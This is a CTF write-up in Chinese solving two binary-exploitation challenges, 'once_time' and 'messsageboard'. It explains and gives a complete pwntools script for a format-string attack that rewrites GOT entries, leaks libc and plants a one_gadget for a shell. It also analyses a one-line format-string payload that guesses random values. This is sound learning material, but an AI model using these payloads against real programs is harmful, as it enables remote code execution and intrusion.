once_time
这题主要利用了格式化字符串的漏洞,另外有canary的保护,需要用到栈溢出报错的函数
具体的利用主要分三步:
- 首先将__stack_chk_fail的got表改成main函数的地址,那么这样每次栈溢出报错的时候就会再一次执行main函数,从而实现多次输入,可以多次利用printf(&s,“$p”)进行格式化字符串攻击
- 泄漏libc的基址,这里用泄漏read函数的真实地址来实现
- 将one_gadget写入exit()函数的got表中
从上图中我们可以看到,程序中有两次输入,第一次输入9个字节,第二次输入32个字节,但考虑到有canary保护,实际上第二次输入到24个字节的时候就会smach报错了
这就需要我们巧用两次输入,第一次九个字节,用来放置我们的目标地址,第二次用来放格式化字符串:
比如,在第一步改__stack_chk_fail的got表的时候
第一次输入:got["__stack_chk_fail"]
第二次输入:%'+str(main)+"d%12$n"
这样就可以达到改got表的目的,另外这里的%12$n
是经过调试得到的,在第六个参数的位置是格式化字符串的位置,在第12的参数的位置就是第一次输入的字符串的所在位置
第二步的操作和上面类似,只不过改用了%s
第三步比较复杂,原因是one_gadget的数值大小过大,用%d%n不太现实,于是用%d%hn,每次写双字节,写多次完成修改exit的got表
exp如下:
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
r = process("./once_time")
e = ELF("./once_time")
libc = e.libc
def sl(s):
r.sendline(s)
def sd(s):
r.send(s)
def rc(timeout=0):
if timeout == 0:
return r.recv()
else:
return r.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return r.recvuntil(s)
else:
return r.recvuntil(s, timeout=timeout)
start = 0x400983
rc()
sl(p64(e.got["__stack_chk_fail"]))
rc()
payload = '%'+str(start)+"d%12$n"
payload = payload.ljust(0x20, "\x00")
sd(payload)
ru("input your name: ")
sl(p64(e.got["read"]))
ru("leave a msg: ")
payload = "%12$s"
payload = payload.ljust(0x20, "\x00")#填满0x20个字节,触发smach
sd(payload)
data = rc()
#libc.address = int(data[:6][::-1].encode("hex"), 16) - libc.symbols["read"]
#这两种写法都行,其中[::-1]的意思是逆序取字符串
libc.address = u64(data[:6].ljust(8,"\x00")) - libc.symbols["read"]
log.info("libc > " + hex(libc.address))
one_gadget = 0xf1147 + libc.address#通过泄漏的libc版本得到
log.info("one_gadget > " + hex(one_gadget))
sl(p64(e.got["exit"]))
ru("leave a msg: ")
payload = "%" + str(one_gadget & 0xFFFF) + "d%12$hn"#取最低的双字节并对齐
payload = payload.ljust(0x20, "\x00")
sd(payload)
ru("input your name: ")
sl(p64(e.got["exit"]+2))
ru("leave a msg: ")
payload = "%" + str((one_gadget >> 16) & 0xFFFF) + "d%12$hn"
payload = payload.ljust(0x20, "\x00")
sd(payload)
ru("input your name: ")
sl(p64(e.got["exit"]+4))
ru("leave a msg: ")
payload = "%" + str((one_gadget >> 32) & 0xFFFF) + "d%12$hn"
payload = payload.ljust(0x20, "\x00")
sd(payload)
ru("input your name: ")
sl(p64(e.got["exit"]+6))
ru("leave a msg: ")
log.info("one_gadget > " + hex(one_gadget))
log.info("one_gadget > " + hex((one_gadget >> 48) & 0xFFFF))
#到这里的时候就需要判断one_gadget 是否有八个字节的大小,如果有则继续写入,如果没有则停止写入
if (one_gadget >> 48) & 0xFFFF != 0:
payload = "%" + str((one_gadget >> 48) & 0xFFFF) + "d%12$hn"
else:
payload = "%12$hn"
payload = payload.ljust(0x20, "\x00")
sd(payload)
#写完exit的got表就触发exit从而getshell
ru("input your name: ")
sl('a')
ru("leave a msg: ")
sl("%p")
ru('\n')
#可以看到每次写入的双字节是多少
print hex(one_gadget & 0xFFFF)
print hex((one_gadget >> 16) & 0xFFFF)
print hex((one_gadget >> 32) & 0xFFFF)
print hex((one_gadget >> 48) & 0xFFFF)
r.interactive()
messsageboard
这题就比较灵活,有很多洞可以打,但是基本上大家都用的是堆的操作
但堆我还不太熟练,后面再来复现这种方法,先来一个格式化字符串的骚操作
这种办法exp仅仅那么几行,当时看到我都惊了,只用了一行paylode:%2$*11$s%2$*12$s%13$n
这就触及到我的格式化字符串的知识盲区了,去wiki查了一波资料发现:
宽度与精度格式化参数可以忽略,或者直接指定,或者用星号"*"表示取对应函数参数的值。
例如printf("%*d", 5, 10)输出" 10";printf("%.*s", 3, "abcdef") 输出"abc"
因此这段paylode的意思是:
%2$*11$s
以第11个参数位置上的数的为精度,取第2个参数位置上面的数作为字符串输出,也就是会输出a个字符串,a=第11个参数位置的数
%2$*12$s
以第12个参数位置上的数的为精度,取第2个参数位置上面的数作为字符串输出,也就是会输出b个字符串,b=第12个参数位置的数
%13$n
向第13个参数的位置写入已经输出的字节数,也就是向第13个参数的位置写入a+b
分析到这里已经很明确了,11,12位置存了程序生成的随机数,而我们的输入在13的位置,如果猜对随机数,那么就可以一键getshell
以上是根据exp的分析,但实际上,真正复现的时候还是有很多问题,比如断点不好下,第11,12,13参数位置很难测出来,因为输入有限制,只能通过输出到第八九个参数位置,再去gdb看栈的情况,才能推出准确的位置,另外这里学到一种姿势:
exp调gdb的时候,可以通过:gdb.attach(p, "b 函数符号/地址)
来下更具体的断点
网友评论